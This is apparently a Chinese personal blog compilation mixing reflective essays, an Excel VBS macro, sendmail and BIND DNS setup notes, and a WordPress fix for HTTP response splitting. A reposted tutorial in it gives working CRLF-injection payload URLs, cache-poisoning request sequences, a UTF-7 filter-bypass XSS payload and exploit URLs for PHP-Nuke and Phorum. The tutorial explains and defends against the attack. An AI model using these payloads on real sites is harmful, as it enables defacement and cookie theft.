看诺贝尔物理学奖所想到的

今年的诺贝尔奖揭晓了,再次看到物理学的相关知识真的好兴奋。已经好多年没有碰物理学了,不知道什么时候才会重拾。也许这辈子都不会再那样子探索了吧。好怀念,同时又有点感慨,为什么我们学习的兴趣都没有了?是因为没有压力了吗?还是生活的无奈 ,亦或是大学就是给我们这样一个过渡的平台。忽然想到中国教育的悲哀,如果能有一个老师带领自己像高中那样的学习将有多好。那时候对物理的兴趣,就好像自己是个科学家一样。也许中国教育的悲哀就在此吧。很多人上了大学,选了自己不喜欢的专业,亦或是找不到能够带领的人。浮躁的社会,我们也必须去考虑怎样养家糊口,考虑就业,考虑好多好多的事情。有点羡慕那种高中和大学联办的班了。也许那里有真正的好老师,而且不用为升学之类的发愁。啊,其实我是不爱学习的。我只是想探索那些我不知道的东西,然后把它们弄明白。也许这正适合了自然科学的探索精神吧。其实我们还年轻,其实科学的探索可以作为一种爱好而已。呵呵,作为自己的兴趣,把它当做一种玩物也是不错的。加油哦,要相信自己,相信自己明天会更好。

还记得我们证明每一个物理定律的日子吗?还记得那些势能,动能,动量吗?是否还记得欧姆定律,电阻定律?是否还记得电磁感应,电容,电动势?是否还记得万有引力和微观电子间的作用力(库伦力)?是否还记得右手定律,安培法则?是否还记得波粒二相性?等等好多好多。其实我们忘的差不多了,其实我们只是学了个皮毛,但是那些日子真的叫人如此怀念。

怀念那些思考物理问题的日子。

redirect_comment_link函数中的HTTP响应拆分漏洞

没事儿用360检查了一下自己的网站,居然发现有很大的漏洞,汗啊。对于这方面不太懂,查了一下,据说“HTTP响应拆分漏洞”还挺严重的。查找了一下资料修补了一下这个漏洞。

漏洞主要是在redirect_comment_link这个函数中,想来很多朋友在function中加入了这个函数来使链接跳转。不知道这个漏洞是否真的能起到作用,不过还是按照网上说的,把它修复吧。

在此特别提醒wordpress中添加了这个函数的童鞋,赶紧加上过滤吧。还有用d4主题(改动的文件在inc\function-opt.php)的朋友哦,也要注意咯,虽然不懂这个漏洞怎么用,但是防患于未然。

解决方法如下:

在function.php中查找

$redirect = $_GET['r'];

在下面加上

$redirect = trim(str_replace("\r","",str_replace("\r\n","",strip_tags(str_replace("'","",str_replace("\n", "", str_replace(" ","",str_replace("\t","",trim($redirect))))),""))));

这一句。

还可以参考如下资料:

转载(一)

http://www.huangkeye.com/?page=传递的参数。
于是,我赶紧查看了一下这个插件。在它的一个页面里面我看到了两行代码:

$post = $_GET['p'];、$download = $_GET['download'];。

对参数$post和$download运用PHP语法中的正则表达式ereg_replace或者字符串处理函数str_replace进行操作。代码如下:

$post = trim($post); 
$post = strip_tags($post,""); //清除HTML如
等代码 $post = ereg_replace("\t","",$post); //去掉制表符号 $post = ereg_replace("\r\n","",$post); //去掉回车换行符号 $post = ereg_replace("\r","",$post); //去掉回车 $post = ereg_replace("\n","",$post); //去掉换行 $post = ereg_replace(" ","",$post); //去掉空格 $post = ereg_replace("'","",$post); //去掉单引号

或者

$post = trim($post); 
$post = strip_tags($post,""); //清除HTML如
等代码 $post = str_replace("\n", "", str_replace(" ", "", $post));//去掉空格和换行 $post = str_replace("\t","",$post); //去掉制表符号 $post = str_replace("\r\n","",$post); //去掉回车换行符号 $post = str_replace("\r","",$post); //去掉回车 $post = str_replace("'","",$post); //去掉单引号 $post = trim($post);

转自http://www.huangkeye.com/archives/20.html

转载(二)

一:前言
“HTTP响应头拆分漏洞”是一种新型的web攻击方案,它重新产生了很多安全漏洞包括:web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。这项攻击方案,包括其衍生的一系列技术产生,是由于web应用程序没有对用户的提交进行严格过滤,导致非法用户可以提交一些恶意字符,更具体来说,是对用户输入的CR 和LF字符没有进行严格的过滤。
“HTTP响应头拆分漏洞”及其相关的攻击手段可以在很多的web环境中实现,包括微软的asp、asp.net,IBM WebSphere,BEA WebLogic,Jakarta Tomcat,Macromedia oldFusion/MX,Sun Microsystems SunONE;流行的Squid和Apache服务器;流行的微软IE6.0浏览器。我不是在吹牛,很多大的站点都存在这样的漏洞,这让我大吃一惊。
这篇文章将描述攻击的概念并且提供一些使用实例分析。
二:介绍
在HTTP响应头拆分攻击中具体牵涉到三个对象:
漏洞服务器:即存在漏洞的服务器。
攻击工具:比如浏览器,类似IE6.0。
攻击者:发动攻击的人。
HTTP响应头拆分攻击本质是:攻击者可以发送一个或几个HTTP指令迫使漏洞服务器产生一个攻击者构想好的输出。它可以让服务器误把几条HTTP请求看成一次完成的HTTP请求来解释。第一条请求也许攻击者部分控制着一部分,但这并不是危险的;危险的是,攻击者完全控制着第二条HTTP请求,即从HTTP状态行一直到HTTP请求的尾部。如果这样可行,攻击者就会发送多个请求指令到目标系统:第一条使得服务器完全接受两个HTTP响应,第二条响应通常是在服务器上请求一些非法资源,而服务器将会自动匹配到第二条响应,输出攻击者想要请求的资源,从而达到攻击者的目的。
通过这个思路,我们可以构造出形形色色的攻击,具体来说:
1 跨站脚本攻击(XSS):这是一个非常普通和老式的漏洞,它可以让用户通过运行了一段javascript或者html代码后,可以截取该用户的cookie和session。但是到现在,通过一些重定向脚本发起一次XSS攻击是很困难的,尤其是当用户使用最新补丁的IE浏览器的时候,除非位置头是完全控制的。但是当结合HTTP响应头攻击确是可以非常简单实现,即使只是部分控制位置头。
2 web缓存中毒(我们称之为web损耗):这是一个新的攻击技术,攻击者强迫服务器高速缓存中记录了第二次HTTP请求,而服务器中的高速缓存记录的第二次请求是经过攻击者精心构造的。这将成功的对目标站点进行损耗,当其他人访问目标站点时,他们仅仅读取了高速缓存里的数据,造成站点被“黑”的假象。当然,除了站点损耗之外,攻击者也可以偷取用户的session和cookie。
3 通过对用户的攻击:这是第二种方式的一个特殊情况。它对单个用户的欺骗、对服务器单个页面的损耗,和暂时的磨损,也可以偷取到特定用户的session和cookie。
4 劫持具体用户的页面敏感信息:攻击者欺骗服务器,并取得敏感用户的权限,并进入其用户的状态,访问到一些秘密信息。
5 浏览器高速缓存中毒:这也是一项最新的攻击方式,它这和跨站脚本攻击方式有点类似,唯一的差别就是攻击者强迫浏览器高速缓存中记录一个长和持续的磨损的网页,直到浏览器的高速缓存已经清洁。
对于这些我将在后面一一作介绍。
三:web高速缓存中毒的实现
由于这是一个新兴的技术,所以这个段落我将对web高速缓存中毒的实现做进一步的分析。
1 毒害反向代理高速缓存:即电子涂写。在这种方式中,攻击者将直接面向网站。当然最厉害的手法是磨损该网站的首页,这样所有客户端将都受到影响,这也是最漂亮的手段,但是这样很容易被发现。
2 毒害一台中间高速缓存服务器:迂回。这种方式被发现是很困难的,中间缓存服务器是有很多的,而且漏洞服务器不可能占有所有的中间缓存服务器,这些服务器很有可能不是在同一个地方,比如我们攻击台湾的站点,我们很有可能会先攻击一台位于美国的中间缓存服务器,即使被调查到了也是要很久的,也许我们早就有时间把所有的信息给清除。
3 毒害浏览器高速缓存:一针见血。攻击者很有可能会瞄准到一个特殊用户,例如从一个很富有的用户那里偷取到证书,这样的攻击将会变得很独特而且很难实施。因为,它不同于跨站脚本攻击,而且被毒害的页面要始终保持在高速缓存中以等待受害者(即你所瞄准的用户)来装载,有时候受害者从来都不会登陆到那个页面,或者是受害者浏览器禁止了JAVA脚本的执行等等,都会造成无法成功。
四:HTTP响应头漏洞攻击基本技术。
HTTP响应头攻击把代码嵌入到用户信息中并放在HTTP头部,也发生在把用户信息和代码嵌入到重定向到的URL中,或者把脚本嵌入到cookie值或者name里。在第一条响应中,重定向的URL是HTTP响应头的一部分,第二条响应是确定cookie,cookie中的name/value是响应头中set-cookie的一部分。
由于攻击的特殊性,在实现攻击前,我们先来了解一下这两个字符的编码:

CR = %0d = /r
LF = %0a = /n
比如,我们考虑以下jsp页面(/isno.jsp),内容如下:
<%
response.sendRedirect("/isno.jsp?lang="+request.getParameter("lang"));
%>

假如使得parmeter lang=ivory,程序将会重定向到/isno.jsp?lang=ivory。通常一个标准的HTTP请求会如下:

HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 12:53:28 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=ivory/r/n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with/r/n
Content-Type: text/html/r/n
Set-Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwBE!-
1251019693; path=//r/n
Connection: Close/r/n
302 Moved Temporarily/r/n
/r/n

This document you requested has moved temporarily.

/r/n

It's now at http://192.168.0.1/isno.jsp?lang=ivory.

/r/n/r/n/r/n

这样我们能清楚的看出lang所赋的值被嵌入在Location响应头中。
好,我们来实行HTTP响应头攻击,再将lang赋值,这次并不是ivory,而是给另外一个东西。

/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0aI’m%20isno!
这样的话,HTTP将会如下发送:
HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 15:26:41 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
I’m%20isno!/r/n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with/r/n
Content-Type: text/html/r/n
Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!-
1251019693; path=//r/n
Connection: Close/r/n
302 Moved Temporarily/r/n
/r/n

This document you requested has moved temporarily.

/r/n

It's now at http://192.168.0.1/isno.jsp?lang=Allyesno/r/n Content-Length: 0/r/n HTTP/1.1 200 OK/r/n Content-Type: text/html/r/n Content-Length: 24/r/n <html>I’m%20isno!</html>.

/r/n /r/n

不同的地方我用颜色标识出来了,但是这里我还是作一些解释:
这里提交了两个请求,第一个指向的URL是

/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0aI’m%20isno!

第二个指向的URL是
/index.html
这样服务器会给第一个请求匹配到第一个响应:

HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 15:26:41 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n

对第二个请求(/index.html)自动匹配到第二个响应:

HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
<html>I’m%20isno!</html>.

/r/n /r/n

这样,攻击者就成功的愚弄了服务器。我们可以看出,上面这个例子非常的简单而且无知,但是是最简单的利用方法,当然实际的情况会更复杂,更会出现一些问题,我们将在下面的部分讨论实战中要考虑到的因素。
五:从实际出发—把绊脚石踢开
1 错误处理机制。
“错误处理”曾是iis漏洞的一个漏洞点,在iis5.0中,它允许客户端定制一个脚本来处理HTTP错误信息,而不是给出真正的错误页面。举例来说,当用户请求一个资源,而该资源不存在的时候,会出现“资源无法访问(你所找的页面不存在)”(HTTP状态404),而同时IIS5.0允许产生一个脚本代码响应给用户,这个代码可以是静态的HTML,也可以是动态的ASP等等。因此,这里就会产生一个HTTP响应头拆分漏洞,但是只是针对iis5.0。
2 字符过滤器的饶过。
另一个要面对的问题就是,一些应用程序会过滤掉一些用户输入的非法字符。特别是对一些非ASCII字符作严格的过滤。例如ASP.NET 1.0/1.1会尝试对数据进行UTF-8编码,如果在UTF-8中不符合的数据将会自动丢失;ASP.NET 1.1不允许有’<’字符出现在一些数据的后面。 而我们在构造header头的时候,基本上都不会出现被过滤的情况。关键就是对body请求的构造,因为这个地方会出现一些让字符过滤器过滤的字符。 饶过的方法当然就是对body处进行UTF-7进行编码(RFC 2152 - [1]),这种编码方法可以对任意的unicode字符编码到“A-Z”,“a-z”,“0-9”,“/”,“-”,“+”中,这样可以让过滤器对我们提交的数据无法过滤。具体实现的方法如下: I 修改第一处:

Content-Type: text/html;charset=utf-7

II 修改第二处:


编码后成为:

+ADw-html+AD4-+ADw-body+AD4-+ADw-script+AD4-alert('get,cookies:'+-document.cookie)+ADw-/script+AD4-+ADw-/body+AD4-+ADw-/html+AD4-

3 使请求的URL长度尽量缩小。
六.对高速缓存中毒的分析,跨站脚本在IE中的利用
要使高速缓存中毒,我们必须要提交Last-Modified的HTTP响应头,并指明一个将来的日期。我用实例来说明一下对高速缓存中毒的攻击:

./isno.jsp?lang=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0aI’m%20Isno! HTTP/1.1

另外一个更实际的例子,对APACHE/2.0的攻击(APACHE很容易实现HTTP响应头拆分攻击,作为范例最好不过了):
这次攻击将发送三条请求,第一条用来迫使服务器对资源的高速缓存无效,第二条请求将利用HTTP响应头攻击,使得Apache自动连接第三条响应和第二条响应。
攻击具体如下:
第一次请求:

GET http://192.168.0.1/index.html HTTP/1.1(由于apache不对”/”进行缓存)
Pragma: no-cache
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

第二次请求:

GET http://192.168.0.1/isno.jsp?lang=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0aI’m%20isno!
HTTP/1.1
Host: 192.168.0.1/r/n
User-Agent: Mozilla/4.7 [en] (WinNT; I)/r/n
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*/r/n
Accept-Encoding: gzip/r/n
Accept-Language: en/r/n
Accept-Charset: iso-8859-1,*,utf-8/r/n

第三次请求:

GET http://192.168.0.1/index.html HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

另外注意的地方:比如IE EXPLORER 6.0(SP1),由于一些机制的影响,我们不能直接的象上面那样输入,要稍微想点办法,由于其缓冲区边界为1024个字节,所以它读取第一条请求使用了1024个字节,所以第二个请求必须要从1024个字节开始为边界,所以我们提交的会是下面这样的:

http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
… [填充1024个A]… AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Sun,%2023%20Nov%202003%2014:05:11%20GMT%0d%0aContent-Length:%2028%0d%0a%0d%0aHacked-by-isno!

同样的思路,对于跨站脚本攻击的提交会是这样的:

http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
… [填充1024个A] … AAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2052%0d%0a%0d%0a

这里一定要谨慎。
七.通过对用户的攻击—理论分析
Squid 2.4和ISA/2000允许用户分享与服务器的连接,这样的话,很有可能存在一个HTTP响应头拆分漏洞的隐患,可以提交两次对服务器的请求,如果这两次请求存在一个延迟,这时攻击者要断开和服务器的连接,而受害的用户再给出一个对服务器的请求的时候,这样就产生了一个攻击。我们可以看出,这样的攻击,要求对与服务器断开连接的时间上做很好的控制,特别是当两次请求包的延迟比10毫秒还低的时候(在Squid 2.4上证明了这一点)。对于ISA/2000来说,攻击方式稍微要简单些,因为两个用户可能分享相同的TCP连接,所以并不需要攻击者断开与服务器的连接。
八.劫持用户页敏感信息
这个有点类似于我们所说的中间人攻击。这时候攻击者充当着两个角色:对用户来说他充当了服务器的角色,对服务器来说他充当了用户的角色,然后象一个审查员一样的工作,这样不仅可以劫持到用户的敏感信息,而且同样可以进行篡改和添加。
九. 实际的安全漏洞两则
以下我会举出一些更具体的例子来加深一下印象。
1 PHP-NUKE 7.6及更低版本HTTP响应拆分漏洞
起因是应用程序没有正确的过滤用户提供的输入。远程攻击者可以利用这个漏洞影响或错误的显示Web内容服务,缓存或解释的方式,这可能帮助诱骗客户端用户,导致跨站脚本,缓存破坏或页面劫持等漏洞。
攻击手法如下

http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE /
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EThis is a spoofed site   /

2 Phorum HTTP响应拆分漏洞
由于没能正确的验证传送给Location参数的输入,攻击者可能向HTTP首部中注入恶意的字符。这可能导致在受影响站点的用户浏览器会话中执行任意HTML和脚本代码,进而展开各种攻击,如跨站脚本、破坏Web或浏览器缓存、劫持页面等。
攻击手法如下:

http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200% /
0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%203 /
4%0d%0a%0d%0aScanned by /
PTsecurity%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates= /
30

十. 后记
感谢我的一些朋友。此篇文章献给我的妈妈!

转自http://blog.csdn.net/allyesno/article/details/406704

本文参考http://www.yiduqiang.com/crlf-http.html

过去的日子

好久没有写一些感悟性的文章了,这次忽然有了感觉,就是想写些什么。也许是歌曲听多了吗?我也不知道。不过中国好声音中确实有很多很多感动人的声音。也许这也是翻唱的魅力所在。曾经听yy的时候就有这样的感觉。有些原唱唱出来并不一定好听,或是当时并没有打动我们,而翻唱出来的,绝对是另一种感觉了。
其实这篇文章是想写一些关于恋爱经验的内容的。没有恋爱经验的时候,我们总是傻头傻脑的在谈,换句话说,叫单纯,也许那时候你也并没有去想什么,只是默默的觉得,也许这样子对她好。慢慢的你会发现,你有了她的影子,好像举手投足之间,有了那么一些联系。你的生活将会有些许那些你不曾有过的生活经历,这些都是你的另一半带给你的。因为你们不在同一个家庭,两种生活方式的结合,你会学到不少东西的。
也许有一天,你们因为一些原因分开了,你碰到了你的第二个恋爱对象,不知不觉的,你会把原来的经验带上,发觉自己好像知道怎样去谈恋爱了。比如看电影,比如送鲜花,比如一起做点浪漫的事情,比如逛街的时候帮她提包。这些东西从没有人教过你,但是随着时间的推移,你慢慢的学会了。也许这就是成长,可是代价是惨烈的。有谁不想第一次就找到自己合适的白头到老的另一半呢。此时的你也许有了自己的生活,必须面对生活的现实,现实的残酷好像摧毁了那种感觉。有人说,爱情是物质的。我不能否认,物质会占据一部分,没有物质,你们可能就不会相遇。
至此,我们变的复杂了,你会不自觉的想起你的第一次来,第一次逛街,第一次牵手,第一次接吻,第一次送花,第一次看电影,等等很多很多。是回忆,是经验的累积。忽然又想,如果我们能回到当初的纯粹将会多么好?如果当时我们能明白那么一点点,如果当时不那么混蛋…可是我们已经回不去了,这就是命运。
也许是我回忆了太多太多,还是变得简单点好,记住那些人那些事,以便回到故乡时可以出去看看,亦或是找几个老友,聊聊当年的故事。
是自己老了吗?也许有一点,不过还是迫切希望改变目前的生活状态,现在实在是太早糟糕了,也许是一种流放的感觉,也许是一种不在正确的道路上的感觉,总之,加油吧,努力让自己好起来,真正的好起来。

写于2012年9月2日夜

2012年9月10日
PS:写这些其实就是随心而写,没什么,也希望拉米不要太在意,呵呵,你要加油哦,我们一起加油。加油生活,感受生活中的美好。Bernard!

小试vbs对excel操作

由于工作需要,小试了一下excel的vbs,还蛮好用的,就是又要接触新语言。其实吧,以前也学过vb所以入门很快,就不算什么了。

先来说下需求吧,很简单,就是有一个工作表需要重排,按照模板的需要进行生成。

比如有一个电话表,有姓名和电话。现在要按照部门来分类,已经有一个部门人员姓名的模板了,现在只需要把电话表的对应姓名的电话,填到第二个部门人员姓名的模板就可以了。

下面是写的一段代码,电话默认在第四列,填到第二个表的第五列。假设表最大行数有700行,从第二行开始匹配。第四行为姓名列。

Private Sub CommandButton1_Click()
'使用要点,需要注意4、5列为同样的单元格式,不要有文本和数字穿插

Dim icell As Integer
Dim icell2 As Integer
icell2 = 2

For icell = 2 To 700

    '如果为空,则跳过
    If Sheet2.Cells(icell2, 4).Value = "" Then
        icell2 = icell2 + 1
        If icell2 = 700 Then
        Exit For
        End If
    End If

    If Sheet1.Cells(icell, 4).Value = "" Then
        icell = icell + 1
        If icell = 700 Then
        Exit For
        End If
    End If

    '如果姓名相同,把原姓名标红,表示已经填到模板表中
    If Sheet1.Cells(icell, 4).Value = Sheet2.Cells(icell2, 4).Value Then
        Sheet1.Cells(icell, 5).Font.Color = -16776961 '颜色 红
        '给模板表赋值
        Sheet2.Cells(icell2, 5).Value = Sheet1.Cells(icell, 5).Value
        '模板表行数加一
        icell2 = icell2 + 1
        '电话表回退
        icell = 2
    End If
Next icell

End Sub

学会放松

也许我们放松的方式就是出去旅游,吃点好吃的,或是买几件合身的衣服,或是静下心来看点人生的书籍。其实生活就是如此,要学会去看开这一切。说不定哪一天,又会相见,说不定哪一天又可以共同做些事儿,一起开心,一起进步。所以说,何必那么悲伤。我们的生活总会进来一些人,离去一些人。不管你如何挽回或是花多少时间在这个上面,都是徒劳无用的。不如去坦然面对。其实,我们生活中总要留下一些人,不会忘记。最重要的都会在,也许看到这篇文章的你,就是的。拉米,加油~

忽然想说

有一些特别想说的话,比如winmount就不要用了,会不稳定,比如瑞星就不要用了,这年头简单还是360。想当年装机和现在真的不一样了,一转眼4年已过。我在回忆些什么?我也不知道,只是这些都还印在脑海里,一直没有机会说,呵呵。人生难免遗憾,留下残缺的美,也不失为一种难忘的回忆。

关于sendmail发邮件出现由某某代发的解决方法

其实写这一篇文章是滥竽充数的,因为根本没有一个试验成功的方法。不过感觉大家的方法和思路还是对的,所以就先记录下来,也许是自己的系统有点bug吧,如果没有用人家的一键包的,可以自己尝试下,应该会有点思路,不保证可以哦,只是收集了网上的。

先来说一下情况,出现的可能是(由 root@localhost.localdomain 代发),这样的提醒。
1、更改hostname可以修改相应的localhost.localdomain为hostname。
2、如果不想改,可以通过在命令行发送的时候指定发件人地址

echo -e "To: xxxx@gmail.com" | sendmail -f user@XXX.com -t -i

或者

echo -e "To: xxxx@gmail.com\nFrom: user@XXX.com" | sendmail -t

那么收件箱显示的发件人是user@XXX.com

3、如果你是用php内置函数通过sendmail发送信件的话,可以在php.ini中修改:

sendmail_path = /usr/sbin/sendmail -fuser@XXX.com -t -i

注意-f和后面user@XXX.com中间没有空格。

上面出现root@localhost.localdomain中的root是这样解释的。sendmail发送邮件时,如果没有指定附加参数,默认它会把当前主机名作为邮件服务器、 以及命令它发邮件的Linux用户名作为发件者,加入到邮件头部信息。

如果不想修改网站程序,也可以通过设置php.ini来实现。在php.ini中设置sendmail_path为如下的形式:

sendmail_path = /usr/sbin/sendmail -t -i -f'user@XXX.com'

有网上的说,必须-f在前面,否则不生效,一直没有测试成功,所以也不确定。

另外大家可以搜一下”php_admin_value sendmail_path”,似乎这个东西也可以设置,不知道是不是虚拟主机用的。

详细如下:
php-fpm配置

php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f user@XXX.com //设置php mail发送

还有一个似乎是apache的虚拟主机设置,此处也可以设置sendmail_path。

将sendmail_path参数 在虚拟主机里面的设置:


    ServerAdmin admin@XXX.com
    DocumentRoot "F:/web/website/XXX/www/"
    ServerName www.XXX.com
    ErrorLog "logs/www.XXX.com-error.log"
    CustomLog "logs/www.XXX.com-access.log" common
    php_admin_value sendmail_path "F:/web/sendmail/sendmail.exe -t -i"

另外要注意的地方是sendmail_path只在unix下有效。不知道linux是不是有效?

用linux建立一个公网dns

首先介绍一下,dns服务器有三种类型。
一、转发dns
二、权威dns
三、非权威dns

建立步骤:

1、注册一个域名,建议在大的商家注册,不要在代理商注册,因为如果在代理商注册,域名转移将会是一个很痛苦的过程。

2、有一台服务器,具有固定IP。

3、在域名注册商注册dns服务器。此处不是说注册域名,而是在域名注册商处获得你的dns授权,即成为权威dns。godaddy的步骤如下:

(1)登陆 Account Manager。
(2)在 My Products 项目中, 点 Domain Manager。
(3)进入domain detail,拉到最下面,左边有一个 Host Summary 栏。
(4)点标题旁边的 add 连接。
(5)在 Host name 输入你的子域,例如你要创建ns1.moper.me,那就输入ns1。 注意: 不要设置”www”做为Dns的主机名。
(6)在 Host IP 里,输入IP地址,总共13个框,输入1个或多个。

一般.COM 和.NET是4~8小时生效,其他的域名为 24 到 48 小时生效。不过,一般5分钟左右就能查到这个DNS记录了。

最后你可以在http://www.internic.net/whois.html查询一下是否已经注册成功。

4、安装bind,本次搭建环境为centos6.2。
输入

yum -y install bind*

安装装所有关于bind的包。

5、设定bind
主要分为三部分

第一,设定/etc/named.conf

运行

cp /etc/named.conf /etc/named.conf.raw

复制一份默认的named.conf配置。

运行

vi /etc/named.conf

设定named.conf档案,档案内容如下:

options {
        listen-on port 53 { any; };
        listen-on-v6 port 53 { ::1; };
        directory       "/var/named";
        dump-file       "/var/named/data/cache_dump.db";
        statistics-file "/var/named/data/named_stats.txt";
        memstatistics-file "/var/named/data/named_mem_stats.txt";
        allow-query     { any; };
        recursion yes;
        allow-transfer  { none; };
        dnssec-enable yes;
        dnssec-validation yes;
        dnssec-lookaside auto;

        /* Path to ISC DLV key */
        bindkeys-file "/etc/named.iscdlv.key";

        managed-keys-directory "/var/named/dynamic";
};

logging {
        channel default_debug {
                file "data/named.run";
                severity dynamic;
        };
};

zone "." IN {
        type hint;
        file "named.ca";
};
zone "moper.me" IN {
        type master;
        file "named.moper.me";
};
include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";

只设定了moper.me的正解析。

(2)设定named.ca
此档案在centos6.2里的bind已经自带了。当然您也可以使用最新的http://www.root-servers.org/

(3)设定正解析named.moper.me

vi /var/named/named.moper.me
$TTL    600
@ IN SOA  ns1.moper.me. admin.moper.me. (2013082502 3H 15M 1W 1D)
@ IN NS ns1.moper.me.
ns1.moper.me.  IN A XXX.XXX.XXX.XXX
@ IN MX 10 mxdomain.qq.com.
www.moper.me. IN A XXX.XXX.XXX.XXX

第一个XXX的IP是要作为dns1的IP,第二个xxx的IP是加一个A记录,即主机头www加域名解析到XXX这个IP。

配置完成,启动bind使配置生效。

/etc/init.d/named start
chkconfig named on

参考资料
http://linux.vbird.org/linux_server/0350dns.php
http://bbs.unixidc.com/read.php?tid=853
http://hzyevaxl.blog.163.com/blog/static/9353763200942710221763/

linux执行host命令出现command not found

我们查询DNS设置的时候常常会用到host命令,Centos5默认安装没有安装这个命令,当显示-bash: host: command not found的时候,我们就需要安装对应的包,才能使用host。host这个程序是包含在bind-utils包里面的,所以要先安装 bind-utils。

yum -y install bind-utils

服务器优盘安装windows系统

这几天忽然要在服务器上装win2003系统,没有光盘,比较纠结。在网上找了一个制作优盘安装盘的软件,测试可以正常安装。相信会装系统的人都会用这个软件,就不写过程了。

下载: Novicorp WinToFlash 0.7.0053 beta.zip

如果你是装win2008系列的,那么可以试试如下方法,此方法在win2003测试失败了,但是装linux是可以的,只是装完之后要改引导,不然就必须插着优盘系统才能启动,详见本博优盘安装linux的文章。

1、下载Ultraiso软件,选择【文件】,【打开】镜像。

2、【启动】下,【写入硬盘映像…】,选择【硬盘驱动器】(默认为U盘盘符,可选),点【写入】按钮。

3、写入完毕后,服务器开机进入bios设置,选择开机启动设备时候 选择对应U盘为首选。

5、重启,引导成功后按照正常顺序安装。